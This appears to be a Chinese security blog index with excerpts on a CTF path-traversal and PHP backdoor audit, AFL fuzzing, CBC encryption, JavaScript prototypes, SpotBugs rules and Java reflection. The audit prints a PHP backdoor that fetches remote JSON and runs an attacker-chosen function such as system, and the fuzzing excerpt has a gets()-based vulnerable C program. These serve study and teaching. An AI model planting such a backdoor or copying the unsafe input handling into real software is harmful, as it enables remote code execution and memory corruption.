0%

爱い窒息、痛

0x01 路径遍历

打开地址看到路径遍历:

1571126059065

在upload文件夹下发现后门和其源码

1571141073240

1571141089817

0x02 后门审计

格式化后,进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
$a = isset($_POST['pass']) ? trim($_POST['pass']) : '';
if ($a == '') {
echologin();
} else {
chkpass($a);
helloowner($a);
}
function chkpass($a) {
// UA是md5(POST['pass'])
if (stripos($_SERVER['HTTP_USER_AGENT'], md5($a)) === false) {
echofail(1);
}
return true;
}
function helloowner($a) {
// 这里产生一个url
$b = gencodeurl($a);
// 从url获取文件内容,SSRF
$c = file_get_contents($b);
if ($c == false) {
echofail(2);
}
$d = @json_decode($c, 1);
if (!isset($d['f'])) {
echofail(3);
}
// CodeInjection, may cause RCE, e.g.,{"f":"system","d":"ls"}
$d['f']($d['d']);
}
function gencodeurl($a) {
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
}
$b = 'http://'.$f.$g; // url=http://pass[30:35]+pass[10:20], i.e.,url<=15
return $b;
}
function echofail($h) {/*...*/}
function echologin() {/*...*/}
?>
阅读全文 »

AFL

1
2
make
make install

程序插桩&编译

有问题程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>

int main(void)
{
char login[32];
char passwd[32];

printf("Login: \n");
gets(login);
printf("Password: \n");
gets(passwd);

if (strcmp(login, "root") == 0) {
if (strcmp(passwd, "1qazxsw2") == 0) {
printf("Access Granted.\n");
return 0;
}
}

printf("Access Denied.\n");
return 1;
}
阅读全文 »

CBC加密原理

先预习下CBC的加解密原理吧。

加密

如下图所示,CBC的加密步骤如下:

  1. 对明文分组,每组长度通常为8或16字节,末尾分组需要填充,通常填充采用PKCS#5标准;
  2. 生成初始化向量IV,长度为分组长度;
  3. 对于第一个明文分组,先由IV异或明文分组1得到中间值,再通过对称加密(DES/AEC/etc)得到密文分组1;
  4. 对于接下来的分组,由上一个密文分组替代IV算得中间值,再通过对称加密(DES/AEC/etc)得到密文分组2,3,4……
阅读全文 »

prototype__proto__

prototype

Javascript的类是通过构造函数创建的,而给类增加方法则需要使用prototype,类似于设计模式中的原型模式:

1
2
3
4
5
6
7
8
9
10
function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()
阅读全文 »

因为帮我内推阿里的师傅告诉我以后可能要做源码审计的工作,先学习一下spotbugs和find-sec-bugs的扫描规则实现,并且尝试添加一个规则。

添加扫描规则——添加一个Detector

添加扫描规则主要是继承Detector,本文介绍以下几种主要的Detector:

阅读全文 »

获取类对象

动态加载一个类

1
2
3
URL[] urls = new URL[] {new URL("file:.\\out\\production\\java_reflect")};
URLClassLoader classLoader = new URLClassLoader(urls);
Class clazz = classLoader.loadClass("test.reflect.User");
阅读全文 »

用法

java动态代理机制可以实现使用一个抽象的中介类对任意类的任意方法进行进行代理,大致原理是运行时生成一个代理类,代理类再调用委托对象。

创建委托对象的接口

1
2
3
4
public interface Sell {
void sell();
void add();
}
阅读全文 »